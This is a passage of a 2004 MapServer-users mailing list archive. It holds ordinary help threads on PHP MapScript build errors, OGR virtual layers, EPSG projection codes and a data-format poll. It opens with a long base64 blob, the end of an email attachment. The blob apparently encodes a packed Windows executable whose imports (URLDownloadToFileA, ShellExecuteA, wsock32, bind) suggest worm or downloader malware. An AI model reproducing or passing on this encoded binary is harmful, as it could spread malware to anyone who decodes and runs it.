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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAuZDCXSWIgRJMkBco DHMMZDylPiK1OoWjx7sCQ6cGmbyyhZB3rGhVx3UjjEGRQCd1V6oELbYHtwSvFkNhZz56RQQJ CaR8UEUCYWhwBzqGwYkqOVeIWjE0H7CUqsaaUQ5vtyoSo1yynKK3HBYtP5yYS6wlvx3AkFYg RsNoYUY5IWQQmS1ysTGNFrELKobBgSyZcIqJN39YRTCXe5ZXH7qMaChtuB/DTDq/q4hpP7kA eImiOClalg6XhpK5KJNLPYHDwZ5ZZidTQKNCw7ZBNL1jrgmkO5yOxjZvIbCUqVogE69GAxCP bke4USerDpKTxXcXwKWyBoBfeadKSW2yRAILWGBNHD0ffTgVYVWcVJUOGXIiub2CNzaihXmV Iw12q0F5B03GU41RriK8WkFAhxGoGXRycncTa6mXsGJ7CKwzkWJiJcIJL4sSCTtQo18uNEoJ dllcJMCybCqPhDlunHVuM0acXC8zoUtVMkdXh0QIlmYSehJjGIsLvX25xb6clq+zAAqdpIRy HRhUJGilDZxei4BTKEjHpredEL7CCRCfqkR2HSxpKTeViJc+BG5iJ8Ojhre+jRaEUAqBuGcm RxplSzkFVE8NWy0dqLh0OKJaNDSrTZItwJpPq4IWP1e2srCqASOVo2qFPb56LapdlSleP42c PLk6DI+IOIWPCYIvhSNwmwypfqu8FB4qRZoAXiugxAEaJph5uETCviMUbHOva5k8jhY/YYIp uxhwUUySSjNvO3E+W0WtasadUrW/LxFArlq+c7SdJ1avpBiqU1xPYoyBEUeGTHCif8cLWROk sMAkKRdrdqhrQ8HGwntrWsKEnbBBOr2MQxYcAhkbeJJCSLCulryQGGacTDxUhApkk12FAFio lL1VEYOFo4BELUQ6WbR/QT8ux6sRWxvHcgiYg8ZktYynxJsSbEMVPH2q ----------faoqutyyfnagqefbdwlw-- From il_vikingo at yahoo.com Wed May 12 06:23:42 2004 From: il_vikingo at yahoo.com (Andrea Rossi) Date: Wed, 12 May 2004 06:23:42 -0700 (PDT) Subject: [Mapserver-users] Installation problem In-Reply-To: <40A0F490.1000300@dmsolutions.ca> Message-ID: <20040512132342.77694.qmail@web12310.mail.yahoo.com> If I try you solution I get this message: checking for location of config.h or php_config.h... configure: error: !!! Could not find config.h or php_config.h in /usr/local. !!! !!! Has PHP been configured yet? !!! --- Daniel Morissette wrote: > Andrea Rossi wrote: > > Hello. > > I am trying to install Mapserver-4.0.2 in a PC > with > > this settings: > > Redhat 9 > > Postgresql 7.3.4 > > Postgis > > php 4.3.5 > > > > When i do configure everytng is OK but when I do > the > > make command I have this errors with php. > > > > What could be the problem? > > > > Thank you. > > > > cd mapscript/php3; make; cd ../.. > > make[1]: Entering directory > > `/usr/local/src/mapserver-4.0.2/mapscript/php3' > > gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 > > -DUSE_WMS_SVR -DUSE_POSTGIS -DUSE_GDAL > -DUSE_OGR > > -DUSE_THREAD -DUSE_PROJ -DUSE_PROJ_API_H > -DUSE_PDF > > -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP > -DUSE_GD_FT > > -DUSE_JPEG -I/usr/local/src/mapserver-4.0.2 > > -I/usr/include -I/usr/local/include > > -I/usr/local/include -I/usr/local/include > > -I/usr/local/include/php/main > > -I/usr/local/include/php/main/dl > > -I/usr/local/include/php/main/main > > -I/usr/local/include/php/main/Zend > > -I/usr/local/include/php/main/include > > -I/usr/local/include/php/main/TSRM -c -o > > php_mapscript_util.o php_mapscript_util.c > > In file included from php_mapscript_util.h:58, > > from php_mapscript_util.c:101: > > /usr/local/include/php/main/php.h:34:18: zend.h: > No > > such file or directory > > > Did you use --with-php=/usr/local/include/php/main/ > in the configure > command? > > Try using --with-php=/usr/local, that should work > with v4.0.2 and 4.2 > > If you could please file a bug in the MapServer > bugzilla with the exact > configure command that you used, and information > about the location of > your installed PHP then we could fix the configure > script to make it > more robust and prevent that case from happening. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette > dmorissette at dmsolutions.ca > DM Solutions Group > http://www.dmsolutions.ca/ > ------------------------------------------------------------ > __________________________________ Do you Yahoo!? Yahoo! Movies - Buy advance tickets for 'Shrek 2' http://movies.yahoo.com/showtimes/movie?mid=1808405861 From bartvde at xs4all.nl Wed May 12 06:39:47 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 12 May 2004 15:39:47 +0200 (CEST) Subject: [Mapserver-users] RESULT_FIELDS Message-ID: <15668.212.238.227.182.1084369187.squirrel@webmail.xs4all.nl> Hi list, is the RESULT_FIELDS metadata parameter still used in Mapserver, or is it deprecated? I could not find it in the source files anymore. I was hoping to use RESULT_FIELDS METADATA parameter for WFS and WMS GetFeatureInfo to filter out columns. Is this possible? Best regards, Bart From David.Fawcett at state.mn.us Wed May 12 07:13:39 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Wed, 12 May 2004 09:13:39 -0500 Subject: [Mapserver-users] Generating dynamic point layer Message-ID: Has anyone successfully created point layers from Access .mdb files? David J. Fawcett MN Office of Environmental Assistance >>> Fran?ois-Xavier Prunayre 5/12/2004 4:47:23 AM >>> > I have an access table with the georeferencing positions (X, Y). > Could anybody please help me by sending some code to generate a point > layer dynamically from these information. Thanks for previous helps I > got from the group. You could do that using OGR virtual layer; Wiki page is http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData. Set DSN in odbc connection; for exemple French, then Ovf file look like this : ODBC:French,STATIONS STATIONS wkbPoint where X_LAMBERT_II_ET is X coordinates and Y_LAMBERT_II_ET is Y. Map file layer tag is : LAYER NAME OVF TYPE POINT CONNECTIONTYPE OGR CONNECTION "french.ovf" DATA "STATIONS" # the name of the OGRVrtLayer STATUS DEFAULT PROJECTION "init=epsg:27582" END DUMP TRUE CLASS TEMPLATE "ttt_query.html" SYMBOL "circle" SIZE 6 NAME "STATION_FR" OUTLINECOLOR 239 16 16 END END You could also use Mapscript. HTH Francois ----- Original Message ----- From: "Sam Choudry" To: Sent: Wednesday, May 12, 2004 9:27 AM Subject: [Mapserver-users] Generating dynamic point layer > Hello group, > > > Samuzzal > > > > _____________________________________________________________ > Linux.Net -->Open Source to everyone > Powered by Linare Corporation > http://www.linare.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. > > Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. > > Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. -- Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eduardo at consultoria.eti.br Wed May 12 08:26:27 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 12 May 2004 12:26:27 -0300 Subject: [Mapserver-users] MapServer 4.2 will solve PHPMapScript problem? Message-ID: <20040512152627.17330.qmail@hm47.locaweb.com.br> Will the MapServer 4.2 distro solve the problem described at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScript ? I mean, today php-mapscript can't be used with Apache as a module, only as CGI. Will this persists on 4.2 edition? best. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From arnulf.christl at ccgis.de Wed May 12 08:59:16 2004 From: arnulf.christl at ccgis.de (Arnulf Christl) Date: Wed, 12 May 2004 17:59:16 +0200 Subject: [Mapserver-users] projection question In-Reply-To: References: Message-ID: <40A249D4.6070401@ccgis.de> skoehler at buschjena.de wrote: >Hi, > >I have imported the cities from opengeodb (www.opengeodb.de) in a postgis >table. Now I will show this cities in the german map. The german map is in >projetion esri:31494 and the cities are given in geocoordinates, so I have >used the projection proj=latlong. The target map is in proj=latlong. But >the cities lying outside of germany, why ? > >thanks >Steffen > > Hi, the projection would not be esri:31494 but EPSG:31494 I'd think... :-) Are you using WMS? Do you use the correct SRS, for WGS 84 (OpenGeoDB) it should be EPSG:4326? Where does the geometry of germany come from? If you are using a GNU/Linux or Unix engine remember that when referencing the PROJ4 you have to do that case sensitive: epsg / EPSG. Additionally there has been a change in the EPSG file of the PROJ4 regarding Gauss Kruger projections, the old code for GK 4 was/is 31494, now there are two new ones, 31464 and 31468 - for all three the projection itself is identical. OK, its a little awkward... Cheers, Arnulf. -- ---------------------------- CCGIS Christl & Stamm GbR ---------------------------- http://www.ccgis.de http://www.mapbender.org ---------------------------- Service: +49 (0)228 90826 0 Direct: +49 (0)228 90826 23 Fax: +49 (0)228 90826 11 ---------------------------- CCGIS Christl & Stamm GbR Siemensstra?e 8 53121 Bonn GERMANY From dmorissette at dmsolutions.ca Wed May 12 09:01:47 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 12 May 2004 12:01:47 -0400 Subject: [Mapserver-users] Installation problem In-Reply-To: <20040512132342.77694.qmail@web12310.mail.yahoo.com> References: <20040512132342.77694.qmail@web12310.mail.yahoo.com> Message-ID: <40A24A6B.1080902@dmsolutions.ca> Andrea Rossi wrote: > If I try you solution I get this message: > > checking for location of config.h or php_config.h... > configure: error: > !!! Could not find config.h or php_config.h in > /usr/local. !!! > !!! Has PHP been configured yet? > !!! Where is your php_config.h located? What do you get if you do: find /usr/local -name "*config.h" -print (Note that the double quotes are important in this command) Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed May 12 09:03:15 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 12 May 2004 12:03:15 -0400 Subject: [Mapserver-users] MapServer 4.2 will solve PHPMapScript problem? In-Reply-To: <20040512152627.17330.qmail@hm47.locaweb.com.br> References: <20040512152627.17330.qmail@hm47.locaweb.com.br> Message-ID: <40A24AC3.4050507@dmsolutions.ca> Eduardo Patto Kanegae wrote: > Will the MapServer 4.2 distro solve the problem described at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScript ? > > I mean, today php-mapscript can't be used with Apache as a module, only as CGI. > > Will this persists on 4.2 edition? > 4.2 doesn't solve that completely: the code could run(in theory) as a module, but there are some build issues related to PHP that make it practically impossible to build that combination. So it's been postponed again (to 4.4 hopefully?) -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From TMitchell at lignum.com Wed May 12 09:24:19 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 12 May 2004 09:24:19 -0700 Subject: [Mapserver-users] 5 second survey: data formats Message-ID: Your input is requested for another, very short, survey on the following topic: What are the top 2 vector and raster data formats you use with MapServer? VOTE: http://misterpoll.com/poll.mpl?id=2880685138 From mszpak at wp.pl Wed May 12 09:37:20 2004 From: mszpak at wp.pl (=?ISO-8859-2?Q?Marcin_Zaj=B1czkowski?=) Date: Wed, 12 May 2004 18:37:20 +0200 Subject: [Mapserver-users] ogrinfo & ADF binary grid In-Reply-To: References: Message-ID: <40A252C0.4030204@wp.pl> Dnia 2004-05-12 17:25, U?ytkownik Tyler Mitchell napisa?: > Did Frank's answer help you on your way? Yes, now I know I have raster binary grid. Sory I can't answer ealier because I had lot of non computer work and didn't turn it on. Thanks a lot you both Marcin From sgillies at frii.com Wed May 12 10:25:52 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 12 May 2004 11:25:52 -0600 Subject: [Mapserver-users] Webpage for SWIG-Mapscript Workshop at Users Meeting Message-ID: <6B52C2CF-A439-11D8-AF02-000D9329D732@frii.com> Greetings, I've put a document online to outline the SWIG-mapscript workshop that I am doing at the Users Meeting in Ottawa. http://users.frii.com/sgillies/projects/mum04/workshop.html The preliminary program misrepresents the subject of the workshop slightly -- it will actually be covering the SWIG mapscript interfaces, not the Python language itself. I'm also hoping that it could be rescheduled so that I can attend the OpenEV workshop as well, but that's a matter for the organizers. If you are attending MUM 2 and have any questions, comments, or suggestions about the workshop, please feel free to email me for more details. I'd like to make it as relevant as possible, with examples for the various languages according to level of interest. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From bob.basques at ci.stpaul.mn.us Wed May 12 10:16:32 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Wed, 12 May 2004 12:16:32 -0500 Subject: [Mapserver-users] 5 second survey: data formats In-Reply-To: References: Message-ID: <40A25BF0.9030605@ci.stpaul.mn.us> Tyler Mitchell wrote: >Your input is requested for another, very short, survey on the following >topic: > >What are the top 2 vector and raster data formats you use with MapServer? > >VOTE: http://misterpoll.com/poll.mpl?id=2880685138 > > The first question doesn't really give up much info. I mean the list will only consist of those formats that can be used. I think a third question about desired (additional) formats might get some intersting results. Just a thought. bobb From woodbri at swoodbridge.com Wed May 12 10:34:20 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 12 May 2004 13:34:20 -0400 Subject: [Mapserver-users] 5 second survey: data formats In-Reply-To: References: Message-ID: <40A2601C.4070405@swoodbridge.com> Tyler, This is a somewhat self selecting poll. The poll results should be exactly those file formats that mapserver BEST supports because that is what people will use to get the job done. A better poll would be to ask something like. If all vector formats had the same level of support and performance in mapserver, what are the top two that you would use. An ditto for raster. You have done a few polls, Can you summarize the results to the list. -Steve Tyler Mitchell wrote: > Your input is requested for another, very short, survey on the following > topic: > > What are the top 2 vector and raster data formats you use with MapServer? > > VOTE: http://misterpoll.com/poll.mpl?id=2880685138 > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From TMitchell at lignum.com Wed May 12 10:39:17 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 12 May 2004 10:39:17 -0700 Subject: [Mapserver-users] 5 second survey: data formats In-Reply-To: <40A25BF0.9030605@ci.stpaul.mn.us> Message-ID: First off, someone selected OTHER for vector types - can that person email me what the other was. Then I can create a category accordingly. Bob wrote: > The first question doesn't really give up much info. I mean the list > will only consist of those formats that can be used. The intent is to capture the "popularity" of formats currently in use. > I think a third question about desired (additional) formats might get > some intersting results. I agree, but the poll site doesn't appear to have an option for free-form text entry, so it becomes more difficult to capture user thoughts that are not already predefined when I create the survey. I'm game for discussion about this on the list though. Thanks for the feedback, Tyler From TMitchell at lignum.com Wed May 12 10:43:25 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 12 May 2004 10:43:25 -0700 Subject: [Mapserver-users] 5 second survey: data formats In-Reply-To: <40A2601C.4070405@swoodbridge.com> Message-ID: Hmmm, you and Bob are both saying the same thing I think. > This is a somewhat self selecting poll. The poll results should be > exactly those file formats that mapserver BEST supports because that is > what people will use to get the job done. Let me put the question to you another way. How well used is ECW image format versus GeoTiff? The point is, I don't know but would like to know the relative proportion of users who depend on one or the other more. This is helpful for those of us running workshops, etc. who may need to focus in on specific formats that are of particular interest to the community instead of assuming all are of equal importance. > A better poll would be to ask something like. If all vector formats had > the same level of support and performance in mapserver, what are the top > two that you would use. An ditto for raster. That makes sense, but it is a completely different answer I was looking for. > You have done a few polls, Can you summarize the results to the list. Links to all the polls are available at: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SurveyResults I may summarize the results when I have some more time. I put the two one or two results on the wiki already. Thanks for the feedback, Tyler From jvanulde at nrcan.gc.ca Wed May 12 11:11:03 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Wed, 12 May 2004 14:11:03 -0400 Subject: [Mapserver-users] Generating dynamic point layer Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89727@s5-van1-r1.ess.nrcan.gc.ca> Hi David, You can use OGR to connect to your access database. Consider the following layer object: LAYER NAME OGRPoints TYPE POINT CONNECTIONTYPE OGR CONNECTION ' ODBC:MySystemDSN,MyTable MyTable wkbPoint ' DUMP TRUE # for WFS only DATA 